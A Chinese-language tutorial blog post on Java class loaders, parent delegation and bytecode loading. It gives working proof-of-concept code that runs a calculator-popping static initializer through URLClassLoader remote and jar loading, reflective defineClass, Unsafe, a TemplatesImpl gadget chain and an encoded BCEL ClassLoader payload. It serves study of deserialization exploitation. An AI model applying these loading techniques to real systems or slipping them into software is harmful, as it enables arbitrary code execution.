类加载器&双亲委派&字节码
类加载器与双亲委派
1. 类加载器
类加载器也就是ClassLoader,它的作用是将类的字节码文件(.class)加载到 Java 虚拟机(JVM)中,转化为 JVM 可识别的 Class 对象,最终让程序能使用这个类。
在Java中,程序运行的核心是JVM(Java虚拟机)。我们平时在文本编辑器或者IDE中编写的程序通常是以.java文件的形式保存的,这是最基础的源码格式。但是,这种文件本身是无法直接运行的。
我们需要先编译这个文件
javac test.java
编译完成以后会在同级目录下生成一个.class文件。这个文件就是字节码文件。而类加载器的作用就是加载它并转化为class对象。
2. JAVA中的几种类加载器
- 引导类加载器
引导类加载器(BootstrapClassLoader),底层原生代码是 C++ 语言编写,属于 JVM 一部分。
不继承 java.lang.ClassLoader 类,也没有父加载器,主要负责加载核心 java 库(即 JVM 本身),存储在 /jre/lib/rt.jar 目录当中。(同时处于安全考虑,BootstrapClassLoader 只加载包名为 java、javax、sun 等开头的类)。
- 扩展类加载器(ExtensionsClassLoader)
扩展类加载器(ExtensionsClassLoader),由 sun.misc.Launcher$ExtClassLoader 类实现,用来在 /jre/lib/ext 或者 java.ext.dirs 中指明的目录加载 java 的扩展库。Java 虚拟机会提供一个扩展库目录,此加载器在目录里面查找并加载 java 类。
- App类加载器(AppClassLoader)
App类加载器/系统类加载器(AppClassLoader),由 sun.misc.Launcher$AppClassLoader 实现,一般通过通过( java.class.path 或者 Classpath 环境变量)来加载 Java 类,也就是我们常说的 classpath 路径。通常我们是使用这个加载类来加载 Java 应用类,可以使用 ClassLoader.getSystemClassLoader() 来获取它。
3. 双亲委派
一个类加载器查找class和resource时,是通过“委托模式”进行的,它首先判断这个class是不是已经加载成功,如果没有的话它并不是自己进行查找,而是先通过父加载器,然后递归下去,直到Bootstrap ClassLoader,如果Bootstrap classloader找到了,直接返回,如果没有找到,则一级一级返回,最后到达自身去查找这些对象。这种机制就叫做双亲委托。
这里引用一下Drunkbaby师傅的图片,非常的形象

4. 实例
Student.java
// 双亲委派的正确代码
public class Student {
public String toString(){
return "Hello";
}
public static void main(String[] args) {
Student student = new Student();
System.out.println(student.getClass().getClassLoader());
System.out.println(student.toString());
}
}

我们定义的 Student 类在 APP 加载器中找到了。
各场景下代码块执行顺序
- 这里的代码块主要指的是这四种
- 静态代码块:
static{} - 构造代码块:
{} - 无参构造器:
ClassName() - 有参构造器:
ClassName(String name)
- 静态代码块:
场景一、实例化对象
这里有两个文件,分别介绍一下用途:
Person.java:一个普普通通的类,里面有静态代码块、构造代码块、无参构造器、有参构造器、静态成员变量、普通成员变量、静态方法。Main.java:启动类
Person.java
// 存放代码块
public class Person {
public static int staticVar;
public int instanceVar;
static {
System.out.println("静态代码块");
}
{
System.out.println("构造代码块");
}
Person(){
System.out.println("无参构造器");
}
Person(int instanceVar){
System.out.println("有参构造器");
}
public static void staticAction(){
System.out.println("静态方法");
}
}
Main.java

结论:
实例化对象的时候,会先调用静态代码块(static{}),然后调用构造代码块({}),然后调用无参构造器。
场景二、调用静态方法
直接调用类的静态方法
Person.java 不变,修改 Main.java 启动器即可。
Main.java
package test;
// 代码块的启动器
public class Main {
public static void main(String[] args) {
Person.staticAction();
}
}

结论:调用静态方法的时候,会先调用静态代码块,然后调用静态方法。
场景三、对类中的静态成员变量赋值
package test;
// 代码块的启动器
public class Main {
public static void main(String[] args) {
Person.staticVar = 1;
}
}

结论:修改静态属性的时候,调用静态代码块
场景四、使用 class 获取类
package test;
// 代码块的启动器
public class Main {
public static void main(String[] args) {
Class c = Person.class;
}
}

结论:当使用.class获取类的时候,不会调用任何代码块。因为并不会加载类。
场景五、使用 forName 获取类
我们写三种 forName 的方法调用。
修改 Main.java
// 代码块的启动器
public class Main {
public static void main(String[] args) throws ClassNotFoundException{
Class.forName("src.DynamicClassLoader.Person");
}
}
// 静态代码块
// 代码块的启动器
public class Main {
public static void main(String[] args) throws ClassNotFoundException{
Class.forName("src.DynamicClassLoader.Person", true, ClassLoader.getSystemClassLoader());
}
}
// 静态代码块
// 代码块的启动器
public class Main {
public static void main(String[] args) throws ClassNotFoundException{
Class.forName("src.DynamicClassLoader.Person", false, ClassLoader.getSystemClassLoader());
}
}
//没有输出
这里便要多讲一下forName方法了,forName方法其实有三个参数
forName(ClassName,boolean,ClassLoader)
第一个参数就是要获取的类名。
第二个参数是一个布尔值,其为true是代表会优先执行类的静态代码块(static{}),为false则代表不执行静态代码块
第三个参数则是指定要用什么类加载器
后两个参数都是可选的,如果不写则默认第二个参数是true,并且默认使用App类加载器
即
forName(className)等同于
forName(className,true,ClassLoader.getSystemClassLoader())
结论:Class.forName(className)以及第二个参数为true时会调用静态代码块,第二个参数为fasle则不会调用静态代码块。
场景六、使用 ClassLoader.loadClass() 获取类
// 代码块的启动器
public class Main {
public static void main(String[] args) throws ClassNotFoundException {
ClassLoader.getSystemClassLoader().loadClass("tset.Person");
}
}
这里的ClassLoader.getSystemClassLoader()其实就是App类加载器

结论:ClassLoader.loadClass() 获取类不会执行代码块
字节码
1. 字节码的概念
前面讲类加载器的时候提到了,字节码其实就是编译生成的.class文件。
字节码的诞生是为了让 JVM 的流通性更强。
2. 类加载器的原理
从前面各种场景下代码块的加载顺序我们得知,在loadClass()方法被调用的时候,是不会进行类的初始化的(也就是static{}里的代码)。
我们在main函数里写一个这个代码测试
ClassLoader.getSystemClassLoader().loadClass();
然后ctrl+左键进到loadClass里看看

继续跟进loadClass。


这里便是非常明显的双亲委派的流程。
代码的解释如下:
findLoadedClass(name)判断是否已经加载了类,如果加载了便直接返回缓存,避免重复加载。- 随后进入到第一层
if(c==null){}里面
if (c == null) { // 类未加载过,进入加载流程
long t0 = System.nanoTime();
try {
if (parent != null) { // 父加载器存在,调用父加载器的loadClass加载
c = parent.loadClass(name, false);
} else { // 父加载器为null(即当前加载器的父加载器是Bootstrap ClassLoadery最顶层的加载器)
c = findBootstrapClassOrNull(name);//调用 findBootstrapClassOrNull 尝试让Boot加载器加载
}
} catch (ClassNotFoundException e) {
// 父加载器加载失败(找不到类),继续执行自己加载
}
...
}
需要注意的是:这里 null 是因为最上面的 Bootstrap 类是 native 类,它是用C 写的源码,所以为 null。
- 接着进入第二层的
if(c==null){}里面:也就是说前面让父加载器找并没有找到
这个时候便只好自己来找,调用自己的findClass方法
if (c == null) { // 父加载器也没找到类,当前加载器自己加载
long t1 = System.nanoTime();
c = findClass(name); // 调用自己的findClass方法加载类
// 记录性能指标(忽略)
....
}
然后我们跟进findClass方法,注意此时直接Ctrl+左键跟进后看到的是
protected Class<?> findClass(String name) throws ClassNotFoundException {
throw new ClassNotFoundException(name);
}
可以发现并没有代码实现,只有抛出异常。这里便又利用到了继承的知识。
继承链子如下:(这里的继承指的是父类,而前面的双亲委派指的是父加载器,注意辨别)
AppClassLoader / ExtClassLoader → URLClassLoader → SecureClassLoader → ClassLoader
可以发现App和Ext加载器都直接继承自URLClassLoader类,我们去这个类下看是否有findClass方法,发现在此类下有findClass方法的实现

代码的主要功能便是:负责从 URL 路径(如 classpath)读取字节码,最终通过 defineClass()(native 方法)生成 Class 对象。
补充一嘴,其实跟进defineClass()方法,发现变成调用SecureClassLoader类defineClass()方法,然后跟进到最后发现调用的还是ClassLoader这个类的defineClass()方法,这就是我们后面会讲的直接利用ClassLoader#defineClass加载字节码。
以上便是类加载器的调用原理。
下面我们介绍多种能用于反序列化攻击的,加载字节码的类加载器。
Java动态字节码的一些用法
3. 利用URLClassLoader加载远程class文件
URLClassLoader我们前面讲过,实际上是AppClassLoader的父类。所以,我们解释 URLClassLoader 的工作过程实际上就是在解释默认的 Java 类加载器的工作流程。
正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:
①:URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件
②:URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件
③:URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类。
file协议
我们在目录src下新建一个 Calc.java 的文件。
import java.io.IOException;
// URLClassLoader 的 file 协议
public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
}
然后我们点击那个小锤子编译一下,将其编译成字节码(.class文件)。

然后我们在out文件夹下可以找到编译好的字节码。

我们复制一份到随意一个路径下,我这里放在了E:\Experiment\下了
然后编写启动类,FileRce.java:
package DynamicClassLoader;
import java.net.URL;
import java.net.URLClassLoader;
// URLClassLoader 的 file 协议
public class FileRce {
public static void main(String[] args) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader
(new URL[]{new URL("file:///E:\\Experiment\\")});//此处改为自己的地址
Class calc = urlClassLoader.loadClass("Calc");
calc.newInstance();
}
}
运行一下,可以发现成功的加载了我们所放路径下的class文件,达到了弹出计算器的效果

http协议
我们在Calc.class文件所在目录下进入cmd,并执行python -m http.server 9999,起一个http服务。
然后编写利用类
package DynamicClassLoader;
import java.net.URL;
import java.net.URLClassLoader;
// URLClassLoader 的 HTTP 协议
public class HTTPRce {
public static void main(String[] args) throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:9999")});
Class calc = urlClassLoader.loadClass("Calc");
calc.newInstance();
}
}

file+jar协议
利用方法
基础格式:jar:file:///路径/xxx.jar!/(表示加载整个 JAR 包中的资源)
指定 JAR 内部路径:jar:<file_url>!/包路径/(加载 JAR 中特定目录的资源)
先将我们之前的 class 文件打包一下,打包为 jar 文件。
去到源 .class 文件下,别去复制的地方,运行命令
jar -cvf Calc.jar Clac.class
然后修改利用类:
package DynamicClassLoader;
import java.net.URL;
import java.net.URLClassLoader;
// URLClassLoader 的 file 协议
public class FileJarRce {
public static void main(String[] args) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader
(new URL[]{new URL("jar:file:///E:\\Calc.jar!/")});
Class calc = urlClassLoader.loadClass("Calc");
calc.newInstance();
}
}

http+jar协议
利用方式:
基础格式:jar:http:///路径/xxx.jar!/(表示加载整个 JAR 包中的资源)
与上面同样的道理,我们通过python起一个服务,python -m http.server 9999
修改一下利用类:
package DynamicClassLoader;
import java.net.URL;
import java.net.URLClassLoader;
// URLClassLoader 的 HTTP 协议
public class HTTPJarRce {
public static void main(String[] args) throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:http://127.0.0.1:9999/Calc.jar!/")});
Class calc = urlClassLoader.loadClass("Calc");
calc.newInstance();
}
}

成功弹出计算器。
以上这些最灵活的肯定是 http 协议的加载,我们甚至可以加载远程服务器的class或者jar文件(我测试过了,为了不漏IP就不发了)
4. 利用 ClassLoader#defineClass 直接加载字节码
不管是加载远程 class 文件,还是本地的 class 或 jar 文件,Java 都经历的是下面这三个方法调用。
ClassLoader#loadClass --> ClassLoader#findClass --> ClassLoader#defineClass
我们前面讲解类加载器的原理的时候便分析过
loadClass()的作用是从已加载的类、父加载器位置寻找类(即双亲委派机制),在前面没有找到的情况下,调用当前ClassLoader的findClass()方法;findClass()根据URL指定的方式来加载类的字节码,其中会调用defineClass();defineClass的作用是处理前面传入的字节码,将其处理成真正的 Java 类
所以可见,真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类。

所以理论上我们便可以使用defineClass方法来直接加载字节码,但是可以看到这个方法是受保护的,我们无法直接调用它。这时候我们前面所讲的反射又大放光彩了。
我们可以通过getDeclaredMethod获取到defineClass方法,然后设置作用域后便能通过invoke调用这个私有方法了。
修改一下调用类:
package DynamicClassLoader;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
public class DefineClassRce {
public static void main(String[] args) throws Exception{
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\\Experiment\\Calc.class")); // 字节码的数组
Class c = (Class) method.invoke(classLoader, "Calc", code, 0, code.length);
c.newInstance();
}
}

成功弹出计算器。
使用ClassLoader#defineClass直接加载字节码有个优点就是不需要出网也可以加载字节码,但是它也是有缺点的,就是需要设置m.setAccessible(true);,这在平常的反射中是无法调用的。
在实际场景中,因为 defineClass 方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链 TemplatesImpl 的基石。
5. Unsafe加载字节码
- Unsafe中也存在
defineClass()方法,本质上也是defineClass加载字节码的方式。
跟进去看一看 Unsafe 的 defineClass() 方法。

由于这里被 native 关键字修饰,所以只有个方法的定义。具体的实现在 JVM 的 C++ 源码中。
但是我们无法直接调用此方法,即使它是public修饰的。原因是因为UnSafe类的构造函数是private的,也就是采用单例模式进行涉及的。所以才无法直接调用此方法,我们还是要通过反射调用。
我们先看一下Unsafe类的大致组成结构:
private static final Unsafe theUnsafe;
//构造私有化
private Unsafe() {
}
//只提供静态方法获取Unsafe实例
@CallerSensitive
public static Unsafe getUnsafe() {
Class var0 = Reflection.getCallerClass();
//判断当前类加载器是否为空
if (!VM.isSystemDomainLoader(var0.getClassLoader())) {
throw new SecurityException("Unsafe");
} else {
return theUnsafe;
}
}
我们可以发现在成员属性中,有一个静态常量的Unsafe实例对象,然后有一个私有的构造方法,并且提供了一个公开的静态方法用于获取Unsafe实例。但是此方法获取实例的条件非常的苛刻,它要求当前类加载器必须是空的便返回theUnsafe字段(也就是Unsafe实例对象),由于一般默认都会使用App类加载器,所以想要满足getUnsafe方法的条件有点困难。
我们都知道通过反射,我们可以获取所有的属性,以及方法。但是即使我们获取了defineClass方法,我们也需要传递一个Unsafe实例作为参数才能通过invoke执行。这种情况下获取Unsafe实例有两种方式:
- 直接通过getDeclaredField获取theUnsafe字段,修改作用域后,通过.get拿到实例对象。
新建一个UnsafeClassLoaderRce.java启动类
添加如下代码
package DynamicClassLoader;
import sun.misc.Unsafe;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.ProtectionDomain;
public class UnsafeClassLoaderRce {
public static void main(String[] args) throws Exception{
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Class<Unsafe> unsafeClass = Unsafe.class;
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe classUnsafe = (Unsafe) unsafeField.get(null);
Method defineClassMethod = unsafeClass.getMethod("defineClass", String.class, byte[].class,
int.class, int.class, ClassLoader.class, ProtectionDomain.class);
byte[] code = Files.readAllBytes(Paths.get("E:\\Experiment\\Calc.class"));
Class calc = (Class) defineClassMethod.invoke(classUnsafe, "Calc", code, 0, code.length, classLoader, null);
calc.newInstance();
}
}
代码解释:通过Unsafe.class获取Unsafe类的Class对象,然后通过getDeclaredField获取theUnsafe字段,设置作用域后setAccessible(true),然后通过get(null)获取此字段,然后便是获取defineClass方法,从指定文件中读取字节码保存到code数组中,然后执行defineClass方法将字节码读取后加载成类,然后通过创建calc类的实例触发初始化代码,最终弹出计算器。

- 第二种方式便是通过getDeclaredConstructor获取无参构造方法,然后修改作用域后调用newInstance创建实例,称之为暴力反射
这个我就不演示了,跟我们前面讲反射如何命令执行的最后一种情况讲到了,感兴趣的可以自己试试。
6. Templateslmpl加载字节码
TemplatesImpl利用链是一个非常重要的东西,CC链可以用它,CB链也用它,注入内存马还是用它。
所以必须弄懂它的利用流程。
一、分析链子如何构成
我们先看看Templateslmpl的类结构

可以发现再TemplateImpl类里面有一个内置类TransletClassLoader,而这个内置类里有defineClass方法。
跟进后发现,其实调用的就是ClassLoader类的defineClass方法了。

但是它并不是TemplateImpl类的方法,我们不能向我们前面4.利用ClassLoader#defineClass直接加载字节码 那样直接反射出defineClass方法并调用。在这里要想成功利用defineClass方法就必须要找到一条完整的利用链(Gadget Chain),我们可以右键+find Usages看看有哪些方法直接调用了defineClass。


发现defineTransletClasses直接调用了它,我们再往前跟进。

发现有三个方法中直接调用了defineTransletClasses
- getTransletClasses
- getTransletIndex
- getTransletInstance
其中我们前两个方法尝试继续往前跟进会发现找不到

提出一个问题:这两种方法能拿来利用吗?(答案是肯定的我们后面会讲解)
我们跟进getTransletInstance就会发现不一样的地方了。

可以发现有一个newTransformer()直接调用了它。先不急着往前面跟进,我们认真看一下gerTransletInstance这个方法的实现。

这里需要介绍一下几个字段的含义:
_name: TemplatesImpl 对象的名字
_class: 通过defineclass加载的类,是一个数组,保存了所有的加载类
_bytecodes: 其实是byte[][],用于保存要加载的字节码
_transletIndex: 指示 _class 数组中哪一项是主 translet,并将其通过newInstance实例化
_auxClasses:非主translet的类
回到代码中,这个代码的含义便是,如果已经加载的类_class为空的话,就通过defineTransletClasses()(后续调用defineClass)来加载类。然后通过_transletIndex字段指定主类,并将其通过newInstance()实例化,这里实例化的对象用了抽象类AbstractTranslet的对象来接收。最后返回这个对象。
看完这个代码,你肯定会觉得那太好了甚至都不用我们自己实例化对象,调用了getTransletInstance方法就自动帮我们实例化了,我们都知道实例化的时候就会先调用初始化代码块(静态代码块)这样便可以利用我们写在初始化代码块的恶意代码。这也是为什么优先选择此方法作为利用链的原因。
我们继续往前跟进到newTransformer()

发现这是一个public方法,我们可以直接调用!其实还可以继续往前跟进,但是我觉得没有必要了,我们的调用链已经非常的明显了。
TemplatesImpl#newTransformer --> TemplatesImpl#getTransletInstance --> TemplatesImpl#defineTransletClasses --> TemplatesImpl#defineClass
二、开始构造POC
接下来我们尝试构造POC
我们看看链子完整走下来需要满足什么条件
- 先看链头

可以发现这里的两个条件其实对我们的链子并没有影响。
- 往下跟进

我们发现,我们需要_name不为null且_class为null才会走我们的链子。我们可以看一下这些字段的初始值是什么

可以发现_name的初始值为null,而我们要求不能为null才行,所以我们需要利用反射修改它的值才行。
_class的初始值也为null,这满足了条件可以不用管。这里_bytecodes被设置为空了,后面会讲到要干什么。
所以链子的这一节点我们要做的便是通过反射将_name设置为非null。
- 继续跟进

在这一个节点我们要求_bytecodes不能为空,其实这个属性我们前面也提到了这是用来保存我们加载的字节码的,我们需要利用反射将字节码写入这个字段。
还有一个魔鬼细节:便是_tfactory也不能为null,为什么?
我们看看这一字段的初始化

发现它的类型是一个TransformerFactoryImpl对象,它初始也被设置为了null。在我们的截图中可以看到,它调用了TransformerFactoryImpl对象的方法,如果我们让其为null的话,没有对象调用方法便肯定会抛出异常导致我们的链子无法利用。所以我们需要通过反射让其值为TransformerFactoryImpl实例。
后面的一些条件便不影响我们的链子了。
总结一下,我们需要干什么:
- 将_name设置为非null,什么都行
- 将_bytecodes指定为要加载的字节码
- 将_tfactory设置为
TransformerFactoryImpl实例
在编写POC之前还有一点要说明
我们在getTransletInstance方法里提到通过newInstance创建的实例是用抽象类AbstractTranslet的对象接收的。
所以我们加载的字节码里实现的类也要是继承自这个抽象类的,我们需要重新获取要加载的字节码文件
Calc.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
// TemplatesImpl 的字节码构造
public class TemplatesBytes extends AbstractTranslet {
public void transform(DOM dom, SerializationHandler[] handlers) throws TransletException{}
public void transform(DOM dom, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{}
public TemplatesBytes() throws IOException{
super();
Runtime.getRuntime().exec("Calc");
}
}
这里将恶意代码放在了无参构造函数,在实例化的时候仍然会触发,所以不必纠结。
然后我们通过小锤子编译成字节码文件(.class),然后复制一份放在自己指定的路径。
现在便可以开始编写POC了
实现类:TemplatesRce.java
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
// 主程序
public class TemplatesRce {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("E:\\JavaClass\\TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

可以发现即使抛出了一些异常,我们的计算器仍然弹出来了。
我前面已经讲的非常非常非常详细了,所以这个POC便无需解释了。
三、解决遗留问题:能用别的两种方法实现吗?
接下来要解答我前面提出的一个疑问:使用另外两种相关的方法getTransletClasses与getTransletIndex可以吗?
答案是肯定可以的,但是会给自己添加很多没必要的工作。
这里我就直接以getTransletClasses为例子

其实使用这个方法的调用链比我们前面使用的方法还要短,很明显它是TemplatesImpl类下的一个私有方法,我们通过反射修改作用域便能获取。
调用链:
TemplatesImpl#getTransletClasses --> TemplatesImpl#defineTransletClasses --> TemplatesImpl#defineClass
但是调用真的有我们想象的那么顺利吗?
其实我们只要满足跟前面用getTransletInstance相同的条件,我们通过反射获取并调用这个方法也能走完这条利用链,也能成功的加载出我们的类。
但是这种情况下并不会自动实例化了,那我们应该怎么利用呢?直接上POC
package DynamicClassLoader;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import sun.misc.Unsafe;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
// 主程序
public class TemplatesRce2 {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("E:\\Experiment\\TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Method m = TemplatesImpl.class.getDeclaredMethod("getTransletClasses");
m.setAccessible(true);
// 返回的是 Class[](也就是_class)
Class<?>[] classes = (Class<?>[]) m.invoke(templates);
// 取出 _transletIndex(哪个是主 translet)
Field idxField = TemplatesImpl.class.getDeclaredField("_transletIndex");
idxField.setAccessible(true);
int idx = idxField.getInt(templates);
// 取出主类并实例化
Class<?> transletClass = classes[idx];
transletClass.newInstance();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
可以看到这种情况下,前面一部分是跟我们正常调用的方式是一样的,就是修改各种字段值满足链子调用的条件。
后面就不一样了。我们通过反射可以获取到getTransletClasses这个方法,修改作用域后便能够通过invoke执行。由于返回的是_class,所以我们需要用class数组来接收返回值。
Class<?>[] classes = (Class<?>[]) m.invoke(templates);
这个时候,其实我们的类是加载成功了的,它保存到了class数组中。但是在getTransletInstance中,会自动获取我们当前加载的类并实例化,一实例化便会触发恶意代码。而我们现在用的这个方法并没有那些代码。

所以我们需要自己获取当前加载类,然后自己手动实例化才能触发加载类里的恶意代码。而_transletIndex字段便是指向了当前加载类的索引,所以我们需要获取这个索引,并通过这个索引获取当前加载的对象,最后通过newInstance创建实例便利用完成了。
我们运行看看效果:

发现也成功弹出了计算器,而且这种方式还没有抛出异常。
还有另一种方式其实也是同样的道理,我们变成获取_class就可以了,这里便交给你们自己研究。
五、总结
就这一部分真的花了我好多的时间。中间研究的时候真的非常的痛苦,因为你根本想不明白到底是怎么来的,看了很多师傅的博客才慢慢搞懂。特别是当我跟进到有三种方式直接调用了defineTransletClasses,当时我就在想为什么偏偏选中了getTransletInstance这个方法,另外两个方法就真的不行吗?其实稍微看懂一点这个链子原理的,另外两种方式的调用链你是可以很明显看出来的。但是我看了很多师傅的博客,他们要么说这两种方式不可行,要么直接不提。这真的苦恼了我非常的久,后面我将各种方法之间的调用过程看了又看,决定自己写一个POC试试,没想到最后真给我试出来了。其实你看最后的POC其实也不难,弄懂原理便基本都能写出来。所以遇到自己想不通的问题也不要太气馁,你自己有想法但是别人说不行就真的不行吗?自己多动手试试,毕竟实践出真知。
7. 利用BCEL ClassLoader加载类
BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。但其因为被 Apache Xalan 所使用,而 Apache Xalan 又是 Java 内部对于 JAXP 的实现,所以 BCEL 也被包含在了 JDK 的原生库中。
BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。我们可以通过 BCEL 提供的两个类 Repository 和 Utility 来利用: Repository 用于将一个Java Class 先转换成原生字节码,当然这里也可以直接使用javac命令来编译 java 文件生成字节码; Utility 用于将原生的字节码转换成BCEL格式的字节码:
我们依旧用我们在src目录下写过的那个Calc.java
import java.io.IOException;
public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
}
测试 Repository与 Utility 的用法:
package DynamicClassLoader;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;
public class BCELRce {
public static void main(String[] args) throws Exception {
Class clazz = Class.forName("Calc");
JavaClass cls = Repository.lookupClass(clazz);
String code = Utility.encode(cls.getBytes(), true);
System.out.println(code);
}
}
运行看效果:

这里弹出计算器是因为使用了forName获取类,这里没有指定第二个参数便是默认为true,即会执行初始化操作。
注意到在输出中有一堆奇怪的字符。这些奇怪的字符其实就是通过Utility.encode生成的BCEL格式的字节码。
BCEL ClassLoader 可以用来加载这串特殊的“字节码”,并可以执行其中的代码。
测试代码:
package DynamicClassLoader;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
// 修改过滤乱码
public class BCELClassLoaderRce {
public static void main(String[] args) throws Exception{
new ClassLoader().loadClass("$$BCEL$$" + "$l$8b$I$A$A$A$A$A$A$A$8dQMO$db$40$Q$7d$9b8$b1c$i$C$81$f0$d1$PhK$81$QU$f5$a57$Q$97$ARU$D$V$Bz$de$y$ab$b0$d4$b1$p$7b$83$e0$X$f5$cc$85$o$O$fd$B$fc$u$c4$ecBi$a4$f6PK$9e$f1$7b3$f3$e6$ad$f7$ee$fe$f6$X$80OX$f1$e1a$d6$c7$i$e6$3d$bc0$f9$a5$8bW$3eJx$edb$c1$c5$oCyC$rJo2$U$9bk$c7$MN$3b$3d$91$M$b5H$rro$d8$ef$ca$ec$90wcb$eaQ$wx$7c$cc3e$f0$T$e9$e8S$953$7c$88$f2L$84$5b$97$J$ef$x$d1$8ey$9eG$v$3f$91Yxt$Q$8d$c26$8f$c5$3a$83$b7$n$e2$a7$a5$8cD$g$d1$Z$3f$e7$a1J$c3$cf$fb$db$XB$O$b4J$Tj$abv4$X$dfw$f9$c0$$$p$df$M$7e$t$jfB$ee$u$b3$bcb$e4$3e$9a$d9$A$V$f8$$$de$Ex$8bw$e4$8a$8c$8a$AKx$cf0$f5$P$ed$A$cb$f0$ZZ$ffo$9aa$c2$ea$c4$3c$e9$85$fb$dd3$v4$c3$e4$l$ea$60$98h$d5$tO$7eO$eag$d0h$aeE$7f$f5$d0$c1$iy$nIr$b59R$ed$e8L$r$bd$f5$d1$81$afY$wd$9e$d3$40m$40Em$7f$c7a$c6$85$a4c$bat$b1$e6$v$80$99$c3S$i$p$URf$94K$ad$9f$60W$b6$iP$y$5b$b2$8c$w$c5$e0$b1$B$e3$a8Q$f60$f1$3c$cc$ad$YP$bfA$a1$5e$bc$86$f3$ed$H$bc$_$adk$94$af$y_$a1$d9$S$8aVq$86$be$Mc$b8$80$U$aa$a40I$f1$f7$86$w$i$c2uBS$f4$ba$uD$$$a6$j$w4$ac$a9$99$H$X$f0$df$84$a2$C$A$A").newInstance();
}
}
运行看效果

那么为什么要在前面加上 $$BCEL$$ 呢?p神的解释是这样的
BCEL 这个包中有个有趣的类
com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个 ClassLoader,但是他重写了 Java 内置的ClassLoader#loadClass()方法。在
ClassLoader#loadClass()中,其会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行 decode
decode以后便恢复成原生字节码也就是.class了,通过loadClass获取类,然后newInstance创建实例调用静态初始化代码。
8. 字节码小结
我们要最终达到的目的其实是加载 class 文件,也就是字节码文件。所以我们所做的一系列工作都是为了能够调用这些 class,只有完成了这一步,才能继续我们的链子。